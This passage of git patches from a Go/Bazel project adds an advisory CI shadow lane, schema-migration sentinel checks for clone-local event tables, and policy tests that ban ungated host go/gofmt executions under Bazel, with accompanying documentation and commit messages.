+ if: ${{ always() && steps.test.outcome != 'skipped' }} + timeout-minutes: 2 + run: >- + python3 tools/bazel/check_shard_coverage.py + --bep "$RUNNER_TEMP/bazel-bep.json" + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 34 + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + timeout-minutes: 3 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: bazel-dolt-race-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # Same redacted summary as bazel-test's; see its comment. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true + timeout-minutes: 2 + env: + LANE: dolt-race + MODE: ${{ needs.rbe.outputs.mode }} + CHECK_RUN_ID: ${{ job.check_run_id }} + PR_HINT: ${{ github.event.pull_request.number || 0 }} + run: | + [ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0 + zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary" + python3 tools/bazel/ci_analytics_extract.py \ + --lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \ + --invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \ + --out "$RUNNER_TEMP/ci-analytics/ci-analytics.json" + + - name: Upload CI analytics summary + if: "!cancelled() && steps.ci-analytics.outcome == 'success'" + continue-on-error: true + timeout-minutes: 2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: ci-analytics-dolt-race-${{ github.run_attempt }} + path: ${{ runner.temp }}/ci-analytics/ci-analytics.json + retention-days: 7 + if-no-files-found: ignore + # pr-risk.yml's server-Dolt storage tier, "Test (Server Dolt Conformance)" # and "Test (Server Dolt Full Suite N/16)", as --config=doltserver-integration: # the conformance and 16-shard full-suite variants of diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index ce91016b0..6b6a98be0 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -620,6 +620,39 @@ job's `if:` or rotating the key, in either of two ways: step's own kill switch, checked before any network call. Deleting the variable does not disable pre-warming; it restores the default of 1. +## dolt-race Shadow (Not Required) + +`bazel.yml`'s `bazel-dolt-race` job (check name `Bazel / dolt-race`) is an +advisory shadow, not a required check. It runs +`bazel test //... --config=dolt-race`, the union of `--config=doltserver` and +`--config=doltserver-proxied` with one tag filter for both tiers, beside the +`bazel-doltserver` and `bazel-proxied` lanes. Its purpose is to measure one +client per group of lanes against the two lanes it would replace (end time, +runner minutes, test counts and results) before any cutover. Each member +target's test action key is unchanged, so the shadow shares cached results +with the member lanes. + +- It runs in mode `remote` on `pull_request` and `merge_group` events only. + It never runs in a fork mode (`fork-ro`, `fork-rw`), in mode `cache` or + `local`, on `bazel-farm.yml`'s call, on push, nightly or dispatch. +- It cannot fail the gate. It has job-level `continue-on-error`, so its + failure cannot fail the call's aggregate result (`BAZEL`). It has no + `workflow_call` output, no `bazel.yml` job `needs` it, and `pr.yml`, + `ci-gate.sh` and `bazel-gate.sh` never name it. +- The gate still waits for it. `CI Gate` needs `pr.yml`'s `bazel` call, and + a reusable-workflow call completes only when all of its jobs have finished + (success, failure or timeout), `continue-on-error` ones included. A slow + shadow therefore delays `CI Gate` and the merge queue, up to its + timeout. `continue-on-error` does not cover a job GitHub cancels at its + own `timeout-minutes`, so every step has its own timeout and the job's + (65 minutes) stays at least 5 minutes above their sum and 10 above the + test step's (policy-tested). A hung step then fails the job, which + `continue-on-error` covers, before GitHub would cancel it. +- Its ci-analytics `LANE` is `dolt-race`. +- Policy: `scripts/bazel_dolt_race_shadow_test.go`. Removing the job, its + `.bazelrc` config and its line in `.github/scripts/rrc-lane-commands.txt` + is the rollback; nothing reads them. + ## Remote Repo Contents Cache A cold lane client re-runs its repository rules (gazelle's `go_deps`, the Go diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index b3d3294a1..b5664d7a6 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -35,6 +35,7 @@ go_test( srcs = [ "bazel_autofix_push_test.go", "bazel_cache_mode_test.go", + "bazel_dolt_race_shadow_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", "bazel_go_repository_tools_test.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go index 8212d4efd..74a0de735 100644 --- a/scripts/bazel_cache_mode_test.go +++ b/scripts/bazel_cache_mode_test.go @@ -225,7 +225,9 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { // no longer forwards the app secrets either, so there is no // audience left for pre-warming in fork-ro or fork-rw (see // bazel.yml's comment on the job). - case strings.HasPrefix(mode, "fork-") && !runs && !bazelPackageJobs[name] && !(name == bazelRBEPrewarmJobName && strings.HasPrefix(mode, "fork-")): + // Nor does a shadow lane (bazelShadowLanes): mode remote on + // same-repo PRs and merge groups only. + case strings.HasPrefix(mode, "fork-") && !runs && !bazelPackageJobs[name] && !(name == bazelRBEPrewarmJobName && strings.HasPrefix(mode, "fork-")) && bazelShadowLanes[name] == "": t.Errorf("%s does not run in mode %s (every lane runs remotely)", name, mode) case mode == "cache" && (name == bazelIntegJobName || name == bazelCmdDoltJobName) && !runs: t.Errorf("%s does not run in mode cache", name) diff --git a/scripts/bazel_dolt_race_shadow_test.go b/scripts/bazel_dolt_race_shadow_test.go new file mode 100644 index 000000000..0b6008047 --- /dev/null +++ b/scripts/bazel_dolt_race_shadow_test.go @@ -0,0 +1,305 @@ +package scripts_test + +import ( + "cmp" + "os" + "path/filepath" + "slices" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// The dolt-race shadow (item 5, Phase 1): bazel.yml's bazel-dolt-race job +// runs --config=dolt-race, the union of --config=doltserver and +// --config=doltserver-proxied, in one `bazel test` beside the two member +// lanes, so the union-job model can be measured against them before any +// cutover. It must be advisory: no workflow_call output, nothing in pr.yml's +// gates or bazel-gate.sh/ci-gate.sh, and a failure that cannot fail the +// call's aggregate result (BAZEL) that pr.yml's ci-gate requires. It cannot +// fail the gate, but the gate still waits for it: ci-gate needs the whole +// bazel call, which completes only when every job in it has finished. + +const ( + bazelDoltRaceJobName = "bazel-dolt-race" + bazelDoltRaceConfig = "dolt-race" + // Mode remote only, and only on same-repo pull requests and merge + // groups (mode remote on a pull_request event is never a fork: forks + // get fork-ro, fork-rw or cache). Not on push, nightly, dispatch or + // bazel-farm.yml's pull_request_target call. + bazelDoltRaceJobIf = "${{ needs.rbe.outputs.mode == 'remote' && (github.event_name == 'pull_request' || github.event_name == 'merge_group') }}" +) + +// bazelShadowLanes: bazel.yml jobs that run beside gated lanes only to +// measure a change to them, and report into nothing (no job or +// workflow_call output, no gate id, job-level continue-on-error), with the +// reason. TestBazelLaneIsGated and the continue-on-error checks carve them +// out by this map. +var bazelShadowLanes = map[string]string{ + bazelDoltRaceJobName: "item 5 Phase 1: the dolt-server + proxied union beside its member lanes, advisory until a cutover PR", +} + +// bazelDoltRaceJobTimeoutHeadroom: the minutes the shadow job's +// timeout-minutes must exceed its test step's (TestBazelDoltRaceShadowIsAdvisory). +const bazelDoltRaceJobTimeoutHeadroom = 10 + +// bazelDoltRaceJobTimeoutMargin: the minutes the shadow job's timeout-minutes +// must exceed the sum of all its step timeouts. +const bazelDoltRaceJobTimeoutMargin = 5 + +// bazelDoltRaceMergeQueueTimeout: the merge queue's check timeout (ruleset +// merge_queue.check_response_timeout_minutes). CI Gate waits for the shadow, +// so the shadow's job timeout must stay below it or a hung shadow drops the +// group from the queue. +const bazelDoltRaceMergeQueueTimeout = 60 + +// The union's members, and the tag filter each owns. +var bazelDoltRaceMembers = []struct{ config, tag string }{ + {"doltserver", "dolt-server"}, + {"doltserver-proxied", "dolt-server-proxied"}, +} + +// bazelRCConfigLines returns .bazelrc's option lines for --config=name +// (any command: test:name, build:name, ...), as "
+ RENAME pattern the other +// creators do: it carries the named, database-unique constraint +// fk_events_issue, so a temp twin errors "duplicate foreign key constraint +// name" on Dolt 2.2.2 (see ignored/0019's own comment). Its creator guards a +// plain CREATE TABLE behind a PREPAREd conditional on an INFORMATION_SCHEMA +// existence probe instead, so both creation shapes are detected here. +func TestSentinelFlooredTablesAreCreatedByTheSeries(t *testing.T) { + if len(ignoredSource.sentinelFlooredTables) == 0 { + t.Fatal("ignoredSource has no sentinel floored tables; the events/bd_events_journal/bd_events_seq guard is inert") + } + + bodies := make(map[int]string) + for _, mf := range ignoredSource.list() { + blob, err := ignoredSource.files.ReadFile(ignoredSource.dir + "/" + mf.name) + if err != nil { + t.Fatalf("read %s: %v", mf.name, err) + } + bodies[mf.version] = string(blob) + } + + // findVersion returns the lowest migration version whose body matches, or + // 0 when nothing does. + findVersion := func(re *regexp.Regexp) int { + found := 0 + for version, body := range bodies { + if !re.MatchString(body) { + continue + } + if found == 0 || version < found { + found = version + } + } + return found + } + + unguarded := findVersion(regexp.MustCompile(`(?i)UPDATE\s+wisps\s+SET\s+is_blocked\s*=\s*0\s*;`)) + if unguarded == 0 { + t.Fatal("the unguarded `UPDATE wisps SET is_blocked = 0` the replay floor exists to exclude is gone; re-derive the floor") + } + + for _, st := range ignoredSource.sentinelFlooredTables { + // Detect both creation shapes and accept whichever the series actually + // uses, rather than keying on the table's name: the PREPAREd + // conditional CREATE is required of any creator whose table carries a + // named, database-unique constraint (ignored/0019's own comment), so a + // future floored sentinel can legitimately arrive in either shape and + // must not fall through to the misleading "never created" failure. + // findVersion already returns the lowest match, so take the earlier of + // the two shapes if a table somehow uses both. + prepared := findVersion(regexp.MustCompile( + `(?i)IF\(@\w+\s*=\s*0,\s*'CREATE TABLE ` + regexp.QuoteMeta(st.table) + `\s*\(`)) + temp := findVersion(regexp.MustCompile(regexp.QuoteMeta("__temp__" + st.table))) + creator := prepared + if creator == 0 || (temp != 0 && temp < creator) { + creator = temp + } + if creator == 0 { + t.Errorf("sentinel floored table %q is never created by the %s series; re-running it could not repair that table", + st.table, ignoredSource.dir) + continue + } + if creator <= st.replayFloor { + t.Errorf("sentinel floored table %q is created by ignored/%04d, at or below its replayFloor %d; the clamped replay would skip the migration that heals it", + st.table, creator, st.replayFloor) + } + if st.replayFloor < unguarded { + t.Errorf("sentinel floored table %q replayFloor %d does not exclude ignored/%04d, whose unguarded UPDATE restamps wisps.updated_at", + st.table, st.replayFloor, unguarded) + } + } +} + // TestMigrationWorkNeededWhenWispTablesAbsent is gh 5033 end to end, through // the real short-circuit that caused it. Both cursors read at-latest, so // before this change migrationWorkNeeded returned false, MigrateUp did @@ -491,6 +706,12 @@ func TestMigrationWorkNeededWhenLeaseGrantedNodeAbsent(t *testing.T) { mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) } + // The floored-table sentinels probe the same way and must all corroborate + // too, ahead of the column probe below. + for range ignoredSource.sentinelFlooredTables { + mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + } mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.COLUMNS")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(0)) @@ -590,6 +811,12 @@ func TestMigrateStartsAboveTheFloorUnderColumnContradiction(t *testing.T) { mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) } + // The floored-table sentinels probe the same way and must all corroborate + // too, ahead of the column probe below. + for range ignoredSource.sentinelFlooredTables { + mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + } mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.COLUMNS")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(0)) diff --git a/internal/storage/schema/lock_test.go b/internal/storage/schema/lock_test.go index 0e926dcb2..bfdb48fd0 100644 --- a/internal/storage/schema/lock_test.go +++ b/internal/storage/schema/lock_test.go @@ -808,7 +808,7 @@ func TestMigrateUpWithLockFreshBootstrapHealResetFailureStaysFatal(t *testing.T) // expectIgnoredSentinelProbes mocks the INFORMATION_SCHEMA lookups // currentVersion issues to confirm a non-zero ignored cursor against the // schema it claims (gh 5033). They fire only for a non-zero cursor, in -// ignoredSource's table then column sentinel order. +// ignoredSource's table then floored-table then column sentinel order. func expectIgnoredSentinelProbes(mock sqlmock.Sqlmock, present bool) { count := 0 if present { @@ -819,6 +819,10 @@ func expectIgnoredSentinelProbes(mock sqlmock.Sqlmock, present bool) { WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(count)) } if present { + for range ignoredSource.sentinelFlooredTables { + mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + } for range ignoredSource.sentinelColumns { mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.COLUMNS")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index 5901f9548..7ab95c1b5 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -332,6 +332,22 @@ type migrationSource struct { // TestSentinelTablesAreCreatedByTheSeries enforces the creating side only; // the dropping side is this comment. sentinelTables []string + // sentinelFlooredTables are clone-local tables whose absence contradicts an + // otherwise at-latest cursor, but — unlike sentinelTables — only back to + // each table's own replayFloor rather than unconditionally to 0. events, + // bd_events_journal, and bd_events_seq are dolt_ignored (never part of + // committed history, so a fresh clone can arrive at-latest without them) + // but floor-0 would replay ignored/0007's unguarded + // `UPDATE wisps SET is_blocked = 0` (see schemaSentinelColumn.replayFloor) + // for a table absence that says nothing about migrations that predate it. + // + // INVARIANT: no future migration in this series may DROP or RENAME a + // floored sentinel table. Older binaries in the field check their own + // sentinel list against the live schema, so removing one would make every + // healthy newer database read as "contradicted" to them and replay the + // series from their floor. TestSentinelFlooredTablesAreCreatedByTheSeries + // enforces the creating side only; the dropping side is this comment. + sentinelFlooredTables []schemaSentinelTable // sentinelColumns are clone-local columns whose absence contradicts an // otherwise at-latest cursor. Unlike a missing sentinel table, a missing // column disbelieves the cursor only back to the column's replayFloor: it @@ -347,6 +363,15 @@ type migrationSource struct { sentinelColumns []schemaSentinelColumn } +type schemaSentinelTable struct { + table string + // replayFloor is the highest cursor value this sentinel's absence still + // leaves believable — same semantics and the same two constraints as + // schemaSentinelColumn.replayFloor, applied to a whole table's presence + // instead of one column's. + replayFloor int +} + type schemaSentinelColumn struct { table string column string @@ -391,6 +416,28 @@ var ( // missing; wisps is checked too so a partially materialized database // is caught by whichever is absent. sentinelTables: []string{"wisps", "wisp_dependencies"}, + // events is created by ignored/0019 (floor 18: everything at or below + // must stay out of the replay, and 0019 itself must stay in it) and + // bd_events_journal/bd_events_seq are both created by ignored/0022 + // (floor 21, same reasoning). All three are dolt_ignored and never + // part of committed history, so a clone can arrive with the cursor + // at-latest but without them — exactly the leases shape below, except + // a whole-table absence rather than a column-on-an-existing-table one. + // + // The journal tables are ignored unconditionally; events is the one + // version-gated pattern ({"events", 62} below), so strictly its + // ignore is only asserted once the main cursor reaches 0062. That is + // safe here rather than a hole: this replay runs on the ignored plane, + // which migrateUpAfterReconcile only reaches after the main pass + // succeeded, and a main pass from below 62 applies + // 0062_events_dolt_ignore, whose REPLACE INTO dolt_ignore lands + // before the ignored plane is touched. So the clamp can never have + // 0019 re-create events as tracked-at-HEAD. + sentinelFlooredTables: []schemaSentinelTable{ + {table: "events", replayFloor: 18}, + {table: "bd_events_journal", replayFloor: 21}, + {table: "bd_events_seq", replayFloor: 21}, + }, // A historical ignored-v16 ordinal collision can leave the local // leases table present but without the column frozen 0016 adds; a // database materialized out of band can be missing the leases table @@ -1540,7 +1587,7 @@ func (m migrationSource) currentVersion(ctx context.Context, db DBConn) (int, er // corroborates. limited is false when nothing is missing (believe the cursor as // read); otherwise floor is the highest version still believable — 0 for a // missing sentinel table, and the sentinel's replayFloor for a missing sentinel -// column. +// floored table or sentinel column. // // Clamping rather than erroring is deliberate: the series is written to be // re-runnable against a database that already has some of it. @@ -1552,8 +1599,10 @@ func (m migrationSource) currentVersion(ctx context.Context, db DBConn) (int, er // rather than merely diagnose. // // Sentinel tables are probed first and short-circuit the whole check: they -// floor at 0, so no column probe could lower the answer, and skipping it keeps -// this cheap on the path every store open takes. +// floor at 0, so no floored-table or column probe could lower the answer, and +// skipping it keeps this cheap on the path every store open takes. Floored +// tables are then probed together with columns, each clamping floor to the +// lowest replayFloor of anything found absent. func (m migrationSource) cursorRealityFloor(ctx context.Context, db DBConn) (int, bool, error) { for _, table := range m.sentinelTables { present, err := sentinelTableExists(ctx, db, table) @@ -1565,6 +1614,19 @@ func (m migrationSource) cursorRealityFloor(ctx context.Context, db DBConn) (int } } floor, limited := 0, false + for _, st := range m.sentinelFlooredTables { + present, err := sentinelTableExists(ctx, db, st.table) + if err != nil { + return 0, false, fmt.Errorf("checking %s sentinel floored table %s: %w", m.cursorTable, st.table, err) + } + if present { + continue + } + if !limited || st.replayFloor < floor { + floor = st.replayFloor + } + limited = true + } for _, column := range m.sentinelColumns { present, err := sentinelColumnExists(ctx, db, column.table, column.column) if err != nil { From b7dba4d4e4e09a8533ad0488dfb9afaa78e7eb0f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 23:51:34 +0000 Subject: [PATCH 223/325] test: ban ungated host go/gofmt execs under Bazel; pin compact_gc_fixture pure/norace (#7485) * test: ban ungated host go/gofmt execs under Bazel; pin compact_gc_fixture pure/norace Follow-up to #7478. Adds two policy tests on //scripts:go_sources_test: - host_tool_exec_policy_test.go: an AST scan of every *_test.go file and internal/testutil's non-test .go files for exec.Command/CommandContext/ LookPath("go"/"gofmt") that isn't gated by bazeltest.IsBazel()/TEST_SRCDIR in its enclosing function, with an explicit, justified allowlist for the handful of sites gated by caller dataflow instead (bazeltest.PrebuiltBD() checked before calling a separate helper). "dolt" is out of scope: the hermetic copy resolves first on Bazel's PATH, unlike go/gofmt. - host_tool_shell_policy_test.go: the same policy for the shell scripts under scripts/ that Bazel sh_test/go_test targets actually execute (fmt-check.sh, the repochecks guards, gofmt-bin.sh, the migration-test harness), matching the gating pattern #7478 added to fmt-check.sh and scripts/ci/lib/test-env.sh. Both are mutation-verified (an added ungated exec.Command("go","version")/ `go build` is detected, then reverted cleanly). Also sets pure = "on" and race = "off" on cmd/bd/BUILD.bazel's compact_gc_fixture go_binary, matching :bd_for_tests/:cmd_norace: it is a testonly, stdlib-only fixture, so neither cgo nor the race detector buys it anything, under any --config. Verified TestRunCompactDoltTargetsOnlyAuthorizedActiveDatabase still passes via `bazel --nohome_rc test` under both --config=prcore and --config=doltserver-cmd. Known pre-existing issue, out of scope here: gosec's GoVersion() call still execs a host `go` from third-party code this policy doesn't reach. Co-Authored-By: Claude Sonnet 5 * fix(scripts): address review of host-tool exec/shell policy (#7485) Fixes all 6 maintainer-city-c3 review items against the ban-ungated-go/ gofmt-exec policy, each with a mutation test proving the fix catches the described regression: 1. Shell scan now gates per-branch/per-call-site (shellLineGating), not by any TEST_SRCDIR mention anywhere in the whole file. 2. Shell scanner adds gofmt and `go tool` detection, fixes the heredoc-start regex (no longer swallows the rest of the script on an arithmetic `<<` shift or a `<<<` here-string), and replaces the blanket printf/echo/git-grep line skip with a quoted-span/command- substitution-aware check that still catches a real exec joined onto a message line with `&&`. 3. shellPolicyScope gains pr-lint.sh, check-versions.sh, upgrade-smoke-test.sh and the 4 .github/scripts shard fallbacks, each cited against its real BUILD.bazel/.bzl wiring; corrects two factually wrong "not executed" doc-comment claims (pr-lint.sh and upgrade-smoke-test.sh ARE Bazel-executed); and adds TestShellPolicyScopeCoversBazelShellData, a mechanical backstop that fails on a Bazel-referenced .sh under scripts/ or .github/scripts/ missing from scope. 4. hostToolExecAllowlist no longer exempts goBuildBDCommand's 9 call sites by helper name; helperIsGatedByAllCallers checks every real call site is itself gated. 5. Both allowlists are keyed by file + enclosing function + exact snippet, not line number. 6. gated()/shellLineGating understand condition polarity, so an inverted `if !IsBazel() { t.Skip() }` (or its shell equivalent) is correctly NOT counted as a gate. Also extends the Go scanner's condPolarity to recognize findPrebuiltBDBinary()/bazeltest.PrebuiltBD() result variables as a TEST_SRCDIR-equivalent gate (proven safe by reading their implementation), and the shell scanner's analogous shellBazelSetVars for CANDIDATE_BIN/SOURCE_TAG_SQLITE_BIN/BEADS_TEST_*_BINARY, including through a script's own default-value variable alias (`VAR="${BAZEL_VAR:-default}"`). Co-Authored-By: Claude Sonnet 5 * fix(scripts): give go_sources_test runfiles access to the new shell scope The shell-policy rewrite (host_tool_shell_policy_test.go) added shellPolicyScope entries for scripts/ci/pr-lint.sh, scripts/check-versions.sh, scripts/upgrade-smoke-test.sh, and the four .github/scripts/*-test-shard.sh files, plus a scope-coverage guard (TestShellPolicyScopeCoversBazelShellData) that walks every tracked BUILD.bazel file. None of those were runfiles of //scripts:go_sources_test, so bazel test passed locally under plain `go test` but failed in CI's hermetic Bazel sandbox with "no such file or directory" for the new scope entries and "found only 0 BUILD.bazel files" for the guard's walk. Add //:repo_other_files (every tracked non-Go, non-Markdown file, including every BUILD/.bzl file) to go_sources_test's data, mirroring the same pattern already used by //scripts:scripts_test. Co-Authored-By: Claude Sonnet 5 * fix(scripts): rename AST-fixture function so it isn't counted as a real test tools/bazel/equivalence.py compares `go test`'s discovered top-level tests against what Bazel actually ran, using a raw-text regex (`^func\s+(Test\w*)\s*\(\s*\w+\s+\*testing\.T\s*\)`) rather than compiling the file. The "inverted IsBazel skip" fixture in host_tool_exec_policy_test.go embeds a column-0 `func TestSomething(t *testing.T) {` inside a backtick string used to build an AST for findHostToolExecCalls, which the regex scan counted as a real top-level test that Bazel's go_sources_test then "failed to run" (CI's Bazel / test leg: EQUIVALENCE: FAIL on "scripts TestSomething"). Rename the fixture's inner function to bazelOnlyFixture; the test's behavior is unchanged since the name was never semantically significant to the scan being exercised. Co-Authored-By: Claude Sonnet 5 * fix(scripts): close host-go-policy gaps from PR #7485 re-review Four fixes from the final review round: 1. test.sh/conformance.sh/release.sh ARE in scope (they run under Bazel via scripts/** data globs); drop the false "not in scope" claims and add justified fn-keyed allowlist entries for their 8 flagged execs. 2. Go AST: an exec inside the Bazel-true branch, before its own abort, is no longer wrongly counted as gated (M17); a gate inside a sibling closure no longer covers execs outside it. 3. Shell scanner: abort/skip gate state now resets at function-scope end (a top-level `go build` after build_candidate in upgrade-smoke-test.sh is correctly flagged), and `bash -c 'go build'` is detected again. 4. Split host_tool_shell_policy_test.go into its own go_test (shell_host_tool_policy_test) with narrow, curated data instead of riding go_sources_test's //:repo_other_files; restored go_sources_test's data to its pre-PR scope. Dropped TestShellPolicyScopeCoversBazelShellData: its regex backstop could not see Starlark labels/.bzl/globs and still missed real in-scope scripts, so it wasn't earning its cache-rerun cost. The new target carries no tags, so it still runs in the required "Bazel / test" lane. Each of 1-3 ships with a mutation-proof fixture that fails on the prior code and passes on the fix. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(scripts): rename sibling-closure fixture to avoid false test-equivalence hit tools/bazel/equivalence.py line-scans *_test.go files for a column-0 `func Test\w*(t *testing.T)` to build its "what go test runs" list; it reads raw text, not compiled Go, so the fixture's embedded raw-string Go source (used to feed findHostToolExecCalls a parseable AST) was mistaken for a real top-level test the package defines, and the equivalence check failed because no go_test target "ran" it. Rename the fixture function from TestX to siblingClosureFixture, matching the existing convention a few lines down (bazelOnlyFixture) that documents the same pitfall. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Sonnet 5 --- cmd/bd/BUILD.bazel | 7 + scripts/BUILD.bazel | 55 +- scripts/host_tool_exec_policy_test.go | 1001 +++++++++++++++++++++ scripts/host_tool_shell_policy_test.go | 1103 ++++++++++++++++++++++++ scripts/repochecks/BUILD.bazel | 11 + 5 files changed, 2176 insertions(+), 1 deletion(-) create mode 100644 scripts/host_tool_exec_policy_test.go create mode 100644 scripts/host_tool_shell_policy_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 9ece9a485..67f4cb9ed 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -16,10 +16,17 @@ go_binary( # (compact_gc_target_test.go), entirely env-driven at run time, so one # prebuilt copy covers every test case and mode: the test never needs a host # Go toolchain under Bazel (bazeltest.RunfileEnv, BEADS_TEST_COMPACT_GC_FIXTURE). +# pure/race pinned explicitly, like :bd_for_tests: stdlib-only (encoding/json, +# fmt, os), so it needs neither cgo nor the race detector, and nothing about +# it depends on either; pinning keeps that true whatever --config the +# consuming go_test builds under (prcore/embedded/doltserver-*), instead of +# relying on this tiny fixture happening to inherit a compatible default. go_binary( name = "compact_gc_fixture", testonly = True, srcs = ["testdata/compact-gc-fixture.go"], + pure = "on", + race = "off", ) go_library( diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 105ec94c5..97a16d586 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -212,10 +212,17 @@ go_test( deps = ["//internal/testutil/bazeltest"], ) -# check-testing-short.sh over every Go file, test and non-test. +# check-testing-short.sh over every Go file, test and non-test, plus the +# Go-exec half of the host-go-under-Bazel policy (host_tool_exec_policy_test.go +# scans //:repo_go_srcs and //:repo_go_test_srcs for a literal go/gofmt exec). +# The shell-script half (host_tool_shell_policy_test.go) is its own +# :shell_host_tool_policy_test below: it reads a fixed, narrow list of shell +# scripts, not every Go source file, so it would otherwise pay this target's +# full re-run cost for files it never looks at. go_test( name = "go_sources_test", srcs = [ + "host_tool_exec_policy_test.go", "repo_helpers_test.go", "testing_short_tree_test.go", ], @@ -227,6 +234,52 @@ go_test( deps = ["//internal/testutil/bazeltest"], ) +# The shell-script half of the host-go-under-Bazel policy +# (host_tool_shell_policy_test.go: see its package comment for shellPolicyScope +# and the detection tradeoffs). Split out of go_sources_test (which otherwise +# re-ran on every Go-source change to serve only this file) with data limited +# to exactly the shell scripts shellPolicyScope names -- no BUILD.bazel/.bzl +# walk, and so no //:repo_other_files: TestShellPolicyScopeCoversBazelShellData +# (dropped; see that test's old doc comment in version control) could not +# parse a `//pkg:file.sh` label or a glob() either, so paying 758 extra input +# files and ~4 points of cache-rerun rate across the whole repo for a walk +# that demonstrably still missed real in-scope scripts was not worth it. +go_test( + name = "shell_host_tool_policy_test", + srcs = [ + "host_tool_shell_policy_test.go", + "repo_helpers_test.go", + ], + data = [ + "check-build-tags.sh", + "check-doc-freshness.sh", + "check-go-install-guidance.sh", + "check-migration-hygiene.sh", + "check-testing-short.sh", + "check-versions.sh", + "check-winget-portable-alias.sh", + "check-workapi-frontend-boundary.sh", + "ci/fmt-check.sh", + "ci/gofmt-bin.sh", + "ci/pr-lint.sh", + "conformance.sh", + "migrate-legacy-to-current.sh", + "migration-test/historical-dolt-upgrade-test.sh", + "migration-test/legacy-bridge-test.sh", + "migration-test/lib/binary.sh", + "release.sh", + "test.sh", + "upgrade-smoke-test.sh", + "//:.github/scripts/embedded-storage-test-shard.sh", + "//:.github/scripts/embedded-test-shard.sh", + "//:.github/scripts/proxied-test-shard.sh", + "//:.github/scripts/server-storage-test-shard.sh", + "//scripts/repochecks:run_check.sh", + "//scripts/repochecks:types_gen_drift_test.sh", + ], + deps = ["//internal/testutil/bazeltest"], +) + # Scans of every tracked file (//:repo_files): any change re-runs them, so # keep them few and fast. go_test( diff --git a/scripts/host_tool_exec_policy_test.go b/scripts/host_tool_exec_policy_test.go new file mode 100644 index 000000000..03ce7c606 --- /dev/null +++ b/scripts/host_tool_exec_policy_test.go @@ -0,0 +1,1001 @@ +package scripts_test + +// Policy: no new ungated host `go` or `gofmt` exec under Bazel +// (//scripts:go_sources_test, which declares //:repo_go_srcs and +// //:repo_go_test_srcs, so a non-Go change leaves it cached). +// +// Background (f4-spec.md §9, a release-track planning note). Under `bazel test` the +// PATH is hermetic_bin: plus the strict action env +// (tools/bazel/test_env.sh); the hermetic pinned dolt resolves there, but +// `go` and `gofmt` do not — whether a bare `go` or `gofmt` on that PATH finds +// a host toolchain depends on the worker, so a bare exec of either succeeds +// on some workers and exits 127 on others (gastownhall/beads#7478 fixed one: +// TestRunCompactDoltTargetsOnlyAuthorizedActiveDatabase's fixture builder). +// `dolt` is deliberately NOT in scope here: the hermetic copy comes first on +// that PATH (test_env.sh), so a bare `exec.Command("dolt", ...)` or +// `exec.LookPath("dolt")` is not the worker-dependent failure this policy +// guards against, and the repository has on the order of 80 such call sites +// (internal/storage/dolt, cmd/bd, internal/testutil, ...); allowlisting them +// all here for no safety gain would make this policy file itself the +// un-reviewable thing. Extend bannedHostTools if that changes. +// +// Scope: every *_test.go file (repo-wide) plus the non-test .go files of +// internal/testutil, the one package dedicated to test helpers that other +// packages' tests import. Production code (cmd/bd's non-test files, +// internal/storage/..., internal/doltserver, ...) legitimately execs `dolt` +// (and `go`, for `bd preflight`/`bd doctor`) as 